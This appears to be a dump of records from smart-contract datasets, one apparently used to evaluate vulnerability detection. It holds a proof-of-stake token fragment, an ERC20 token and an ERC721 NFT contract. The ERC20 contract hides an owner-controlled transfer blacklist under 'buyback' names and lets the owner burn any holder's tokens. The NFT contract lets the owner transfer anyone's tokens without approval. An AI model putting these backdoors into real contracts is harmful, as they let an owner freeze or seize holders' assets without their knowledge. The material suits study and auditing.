require(_amount <= allowed[_from][msg.sender]);
require(_amount <= balances[_from]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
if(transferSt[_from].length > 0) {delete transferSt[_from];}
uint64 _now = uint64(now);
transferSt[_from].push(transferStruct(uint128(balances[_from]),_now));
transferSt[_to].push(transferStruct(uint128(_amount),_now));
return true;
}
function POSMint() internal returns (bool) {
require(now > (timeStamp + minimumAge));
if(balances[msg.sender] <= 0) {return false;}
if(transferSt[msg.sender].length <= 0) {return false;}
uint256 _now = now;
uint256 _year = getYear();
uint256 _phase = getPhase(_year);
uint256 _coinsAmount = getCoinsAmount(msg.sender, _now);
if(_coinsAmount <= 0) {return false;}
uint256 _coinsPrice = getCoinPrice(_year, _phase);
if(_coinsPrice <= 0) {return false;}
uint256 reward = (_coinsAmount.mul(_coinsPrice)).div(100000);
if(reward <= 0) {return false;}
if(reward > 0) {require(minted.add(reward) <= totalSupply);}
minted = minted.add(reward);
balances[msg.sender] = balances[msg.sender].add(reward);
delete transferSt[msg.sender];
transferSt[msg.sender].push(transferStruct(uint128(balances[msg.sender]),uint64(now)));
emit Transfer(0x0, msg.sender, reward);
return true;
}
function getCoinsAmount(address _address, uint _now) internal view returns (uint256) {
if(transferSt[_address].length <= 0) {return 0;}
uint256 Coins = 0;
for (uint256 i = 0; i < transferSt[_address].length; i++){
if(_now < uint(transferSt[_address][i].time).add(minimumAge)) {return Coins;}
Coins = Coins.add(uint256(transferSt[_address][i].amount));
}
return Coins;
}
function getYear() internal view returns (uint256) {
require(timeStamp > 0);
for(uint256 i = 0; i <= 99; i++) {
if(now >= ((timeStamp + minimumAge).add((i.mul(oneYear)))) && now < ((timeStamp + minimumAge).add(((i+1).mul(oneYear))))) {
return (i);
}
}
if(now >= ((timeStamp + minimumAge).add((oneYear.mul(100))))) {return (100);}
}
function getPhase(uint256 _x) internal pure returns (uint256) {
require(_x >= 0);
if(_x >= 0 && _x < 3) {return 1;}
if(_x >= 3 && _x < 6) {return 2;}
if(_x >= 6 && _x < 9) {return 3;}
if(_x >= 9 && _x < 12) {return 4;}
if(_x >= 12) {return 5;}
}
function getMonthLimit(uint256 _x) internal pure returns (uint256) {
require(_x > 0 && _x <=5);
if(_x == 1) {return (2220000 * 1e18);}
if(_x == 2) {return (1480000 * 1e18);}
if(_x == 3) {return (740000 * 1e18);}
if(_x == 4) {return (370000 * 1e18);}
if(_x == 5) {return (185000 * 1e18);}
}
function getCoinPrice(uint256 _year, uint256 _phase) internal returns (uint256) {
require(_year >= 0);
uint256 _monthLimit = getMonthLimit(_phase);
uint256 _sumToAdd = _year.mul(oneYear);
uint256 _monthInYear = _year.mul(12);
for(uint256 i = 0; i <= 11; i++) {
if(now >= (timeStamp + minimumAge).add(_sumToAdd).add(minimumAge.mul(i)) && now < (timeStamp + minimumAge).add(_sumToAdd).add(minimumAge.mul(i+1))) {
uint256 _num = _monthInYear.add(i);
if(priceChecker[_num] != true) {
coinPriceNow[_num] = minted;
priceChecker[_num] = true;
return (_monthLimit.mul(100000)).div(minted);}
if(priceChecker[_num] == true) {
return (_monthLimit.mul(100000)).div(coinPriceNow[_num]);}
}
}
}
function approve(address _spender, uint256 _amount) public returns(bool) {
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public constant returns(uint256) {
return allowed[_owner][_spender];
}
}
| 166,570 | 689 |
df0755c280ab9996c3a29652b792d321d12a871a35b87091f5fca4293131de3f
| 16,815 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/8e/8e0cb740997ccb74dccd6096c0d07bab1e912ab6_ChikuInuAvax.sol
| 3,942 | 15,657 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ChikuInuAvax is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBuyback(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (sys.amountToken,
sys.lockUntil);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function buybackTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unbuybackTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 90,597 | 690 |
303b0281880a4f12071757baea00f056767df4b2040b4ba6991b24de47a9c100
| 35,125 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xb628c2398b1a00659b69111bc98760d311cf156a.sol
| 5,439 | 18,723 |
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/introspection/IERC165.sol
interface IERC165 {
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool);
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721.sol
contract IERC721 is IERC165 {
event Transfer(address indexed from,
address indexed to,
uint256 indexed tokenId);
event Approval(address indexed owner,
address indexed approved,
uint256 indexed tokenId);
event ApprovalForAll(address indexed owner,
address indexed operator,
bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId)
public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator)
public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId)
public;
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes data)
public;
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol
contract IERC721Receiver {
function onERC721Received(address operator,
address from,
uint256 tokenId,
bytes data)
public
returns(bytes4);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/utils/Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: openzeppelin-solidity/contracts/introspection/ERC165.sol
contract ERC165 is IERC165 {
bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor()
internal
{
_registerInterface(_InterfaceId_ERC165);
}
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId)
internal
{
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721.sol
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
bytes4 private constant _InterfaceId_ERC721 = 0x80ac58cd;
constructor()
public
{
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_InterfaceId_ERC721);
}
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0));
return _ownedTokensCount[owner];
}
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0));
return owner;
}
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId));
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender);
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
function isApprovedForAll(address owner,
address operator)
public
view
returns (bool)
{
return _operatorApprovals[owner][operator];
}
function transferFrom(address from,
address to,
uint256 tokenId)
public
{
require(_isApprovedOrOwner(msg.sender, tokenId));
require(to != address(0));
_clearApproval(from, tokenId);
_removeTokenFrom(from, tokenId);
_addTokenTo(to, tokenId);
emit Transfer(from, to, tokenId);
}
function safeTransferFrom(address from,
address to,
uint256 tokenId)
public
{
// solium-disable-next-line arg-overflow
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes _data)
public
{
transferFrom(from, to, tokenId);
// solium-disable-next-line arg-overflow
require(_checkOnERC721Received(from, to, tokenId, _data));
}
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
function _isApprovedOrOwner(address spender,
uint256 tokenId)
internal
view
returns (bool)
{
address owner = ownerOf(tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
function _mint(address to, uint256 tokenId) internal {
require(to != address(0));
_addTokenTo(to, tokenId);
emit Transfer(address(0), to, tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
_clearApproval(owner, tokenId);
_removeTokenFrom(owner, tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _addTokenTo(address to, uint256 tokenId) internal {
require(_tokenOwner[tokenId] == address(0));
_tokenOwner[tokenId] = to;
_ownedTokensCount[to] = _ownedTokensCount[to].add(1);
}
function _removeTokenFrom(address from, uint256 tokenId) internal {
require(ownerOf(tokenId) == from);
_ownedTokensCount[from] = _ownedTokensCount[from].sub(1);
_tokenOwner[tokenId] = address(0);
}
function _checkOnERC721Received(address from,
address to,
uint256 tokenId,
bytes _data)
internal
returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
function _clearApproval(address owner, uint256 tokenId) private {
require(ownerOf(tokenId) == owner);
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721Enumerable.sol
contract IERC721Enumerable is IERC721 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address owner,
uint256 index)
public
view
returns (uint256 tokenId);
function tokenByIndex(uint256 index) public view returns (uint256);
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721Enumerable.sol
contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
bytes4 private constant _InterfaceId_ERC721Enumerable = 0x780e9d63;
constructor() public {
// register the supported interface to conform to ERC721 via ERC165
_registerInterface(_InterfaceId_ERC721Enumerable);
}
function tokenOfOwnerByIndex(address owner,
uint256 index)
public
view
returns (uint256)
{
require(index < balanceOf(owner));
return _ownedTokens[owner][index];
}
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply());
return _allTokens[index];
}
function _addTokenTo(address to, uint256 tokenId) internal {
super._addTokenTo(to, tokenId);
uint256 length = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
_ownedTokensIndex[tokenId] = length;
}
function _removeTokenFrom(address from, uint256 tokenId) internal {
super._removeTokenFrom(from, tokenId);
// To prevent a gap in the array, we store the last token in the index of the token to delete, and
// then delete the last slot.
uint256 tokenIndex = _ownedTokensIndex[tokenId];
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 lastToken = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastToken;
// This also deletes the contents at the last position of the array
_ownedTokens[from].length--;
_ownedTokensIndex[tokenId] = 0;
_ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Reorg all tokens array
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 lastToken = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastToken;
_allTokens[lastTokenIndex] = 0;
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
_allTokensIndex[lastToken] = tokenIndex;
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721Metadata.sol
contract IERC721Metadata is IERC721 {
function name() external view returns (string);
function symbol() external view returns (string);
function tokenURI(uint256 tokenId) external view returns (string);
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721Metadata.sol
contract ERC721Metadata is ERC165, ERC721, IERC721Metadata {
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
constructor(string name, string symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721Metadata);
}
function name() external view returns (string) {
return _name;
}
function symbol() external view returns (string) {
return _symbol;
}
function tokenURI(uint256 tokenId) external view returns (string) {
require(_exists(tokenId));
return _tokenURIs[tokenId];
}
function _setTokenURI(uint256 tokenId, string uri) internal {
require(_exists(tokenId));
_tokenURIs[tokenId] = uri;
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721Full.sol
contract ERC721Full is ERC721, ERC721Enumerable, ERC721Metadata {
constructor(string name, string symbol) ERC721Metadata(name, symbol)
public
{
}
}
// File: openzeppelin-solidity/contracts/access/Roles.sol
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
// File: openzeppelin-solidity/contracts/access/roles/MinterRole.sol
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721Mintable.sol
contract ERC721Mintable is ERC721, MinterRole {
function mint(address to,
uint256 tokenId)
public
onlyMinter
returns (bool)
{
_mint(to, tokenId);
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721MetadataMintable.sol
contract ERC721MetadataMintable is ERC721, ERC721Metadata, MinterRole {
function mintWithTokenURI(address to,
uint256 tokenId,
string tokenURI)
public
onlyMinter
returns (bool)
{
_mint(to, tokenId);
_setTokenURI(tokenId, tokenURI);
return true;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/CryptoMus.sol
contract CryptoMus is ERC721Full, ERC721Mintable, ERC721MetadataMintable, Ownable {
event MintManyToken(address indexed to,
uint256 howMany,
uint256 tokenIdFrom,
uint256 tokenIdTo);
constructor()
ERC721Mintable()
ERC721Full("Cryptomus.io", "CM")
public
{
}
function mintManyWithTokenUri(address to,
uint256 howMany,
string tokenURI)
public
onlyMinter
returns (bool)
{
uint256 totalNum = totalSupply();
for (uint tokenId = totalNum + 1; tokenId <= (howMany + totalNum); tokenId++) {
_mint(to, tokenId);
_setTokenURI(tokenId, concat(tokenURI, uint2str(tokenId)));
}
emit MintManyToken(to, howMany, totalNum, tokenId);
return true;
}
function concat(string _a, string _b) constant returns (string){
bytes memory bytes_a = bytes(_a);
bytes memory bytes_b = bytes(_b);
string memory length_ab = new string(bytes_a.length + bytes_b.length);
bytes memory bytes_c = bytes(length_ab);
uint k = 0;
for (uint i = 0; i < bytes_a.length; i++) bytes_c[k++] = bytes_a[i];
for (i = 0; i < bytes_b.length; i++) bytes_c[k++] = bytes_b[i];
return string(bytes_c);
}
function uint2str(uint i) public pure returns (string){
if (i == 0) return "0";
uint j = i;
uint length;
while (j != 0){
length++;
j /= 10;
}
bytes memory bstr = new bytes(length);
uint k = length - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function transferByOwner(address _from, address _to, uint256 _tokenId) public onlyOwner returns (bool) {
require(_to != address(0));
_removeTokenFrom(_from, _tokenId);
_addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function setTokenURI(uint256 tokenId, string uri)
public
onlyMinter
returns (bool)
{
_setTokenURI(tokenId, uri);
return true;
}
}
| 192,441 | 691 |
b0c4d59f0951328c45244d295fb9e2c21f6074fb3fc8aab78092ec50fd2fe64a
| 11,911 |
.sol
